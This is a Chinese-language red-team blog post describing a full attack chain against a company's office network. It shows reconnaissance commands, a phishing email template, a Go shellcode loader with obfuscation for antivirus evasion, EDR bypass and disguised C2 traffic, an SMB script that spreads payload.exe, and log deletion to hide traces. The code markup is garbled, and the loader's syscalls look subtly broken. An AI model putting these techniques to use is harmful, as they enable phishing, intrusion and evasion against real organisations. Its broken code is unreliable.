一、一次看似平静的安全事件
前段时间,某互联网公司爆出了内部系统被入侵的新闻。攻击者通过一系列精密的手法,从一个普通员工的办公环境入手,最终控制了整个内网,并窃取了大量敏感数据。这类事件并非孤例,在红队攻防演练中,我们经常会复现类似的攻击链。今天,我结合一次真实的内部演练,分享如何构造一个完整的红队攻击链。
注意:本文仅用于授权安全测试,请勿用于任何非法用途。
---
二、针对目标的初始侦查
红队行动的第一步永远是信息收集。记住,靶场中没有什么是无用的信息,任何细节都有可能成为突破口。

目标分析与外部侦查
在一次演练中,我们的目标是一家互联网公司的办公内网。初始阶段,我们并没有太多线索,于是从公开信息入手:
- 子域名枚举
我们利用 subfinder 和 assetfinder 快速抓取目标的子域名。

<pre><code class="language-bash"> subfinder -d target.com -o subdomains.txt assetfinder --subs-only target.com >> subdomains.txt sort -u subdomains.txt > final_subdomains.txt `
这一步发现了几个办公系统的域名,例如:
- vpn.target.com
- mail.target.com
- intranet.target.com
- 员工指纹信息
在社交平台,如 LinkedIn 和脉脉,我们能找到不少目标公司的员工信息,尤其是 IT 部门的成员。通过搜索,我们锁定了可能负责运维的几位技术人员。
- 敏感端口扫描
然后,我们使用 nmap 针对暴露的子域名进行端口扫描,尤其关注 VPN 和邮件相关端口。
`bash nmap -p 21,22,80,443,8080 vpn.target.com -oN vpn_scan.txt `
这一阶段发现了 VPN 服务使用的 443 端口,以及邮件服务器的开放端口。
内部信息获取
接下来,我们通过社工铓鱼攻击进一步锁定目标。一般情况下,我喜欢用自写的鱼叉邮件生成工具,搭配 Cobalt Strike 的 Beacon 模块。
构造鱼叉邮件
鱼叉邮件的内容需要具有迷惑性,比如公司内部的「重要通知」或「财务邮件」。以下是一个简单的邮件模板: </code></pre>html <p>尊敬的员工,</p> <p>公司IT部门正在进行系统安全升级,请点击以下链接更新您的账户信息:</p> <a href="http://phishing-site.com/login">立即更新</a> <p>谢谢配合。</p> <pre><code> 为了更加隐蔽,可以对 URL 进行短链接处理,例如使用 bit.ly。
---
三、Payload构造的艺术
Payload设计是红队的灵魂。 一旦成功让目标执行我们的恶意代码,后续的攻击链就能顺利展开。在这次演练中,我们设计了一个内存加载型木马,绕过了目标环境的杀软防护。
木马的核心代码
以下是用 Go 编写的内存加载木马: </code></pre>go package main

import ( "syscall" "unsafe" )
// shellcode 示例,实际攻击中可以替换为 Cobalt Strike 的动态 shellcode var shellcode = []byte{ 0xfc, 0x48, 0x83, 0xe4, 0xf0, / .... / }
func main() { // 分配内存,用于存储 shellcode addr, _, _ := syscall.Syscall6( syscall.SYS_MMAP, 0, uintptr(len(shellcode)), syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC, syscall.MAP_ANONYMOUS|syscall.MAP_PRIVATE, 0, 0, )
// 将 shellcode 写入分配的内存 copy((*[4096]byte)(unsafe.Pointer(addr))[:], shellcode)
// 执行 shellcode syscall.Syscall(addr, 0, 0, 0) } <pre><code> 编译时可以使用 garble 工具进行混淆,提高免杀性能: </code></pre>bash garble build -o payload.exe <pre><code> ---
四、如何绕过EDR的监控
在演练中,目标环境部署了主流的 EDR(终端检测响应)系统。这类工具通常会对进程行为、内存操作进行实时监控。绕过它们,我们可以采取以下策略:
- 分步加载Shellcode
我们将复杂的 shellcode 切分为多个部分,先加载无害代码,后续动态拼接恶意部分。
- 流量伪装
EDR 也会分析网络流量,因此我们使用 HTTPS 协议伪装 C2 通讯流量。以下是伪装流量的 Go 代码:
`go package main
import ( "crypto/tls" "net/http" )
func main() { // 创建 HTTPS 客户端 tlsConfig := &tls.Config{InsecureSkipVerify: true} transport := &http.Transport{TLSClientConfig: tlsConfig} client := &http.Client{Transport: transport}
// 发送伪装流量 client.Get("https://legit-website.com/ping") } `
- 字符串加密
在恶意代码中,敏感字符串(如 C2 地址)需进行加密,运行时解密,避免静态检测触发。
---
五、内网横向移动的实战经验
当我们通过鱼叉邮件拿到初始权限后,内网横向移动是关键环节。在这次演练中,我们主要依赖以下技术:
利用 SMB 协议传播
通过目标内网的 SMB 文件共享服务,我们可以传播恶意文件到其他机器。以下是一个利用 smbclient 的横向移动脚本: </code></pre>bash
!/bin/bash
TARGET="192.168.1.100" USERNAME="admin" PASSWORD="password"
echo "Uploading payload to $TARGET..." smbclient //$TARGET/C$ -U $USERNAME%$PASSWORD << EOF put payload.exe EOF `
内网扫描与权限提升
利用 SharpHound 工具,我们可以快速绘制目标环境的域内网络结构。这帮助我们找到高权限账户,并进行进一步攻击。
---
六、痕迹清除与隐蔽
痕迹清除是避免暴露的最后一道防线。 在这次行动中,我们主要清理以下内容:
- 日志文件:定期删除恶意行为的操作记录。
- 暂存文件:避免恶意工具留在磁盘。
- 注册表:清理植入的持久化配置。
---
七、总结与反思
这次演练让我意识到,红队行动不仅是技术上的较量,更考验布局与隐蔽能力。每一个环节都可能决定最终的成败。如果你是防御方,请加强对外部系统的侦查,尤其是员工的安全意识培训;如果你是红队,请牢记,隐蔽和持续性是核心。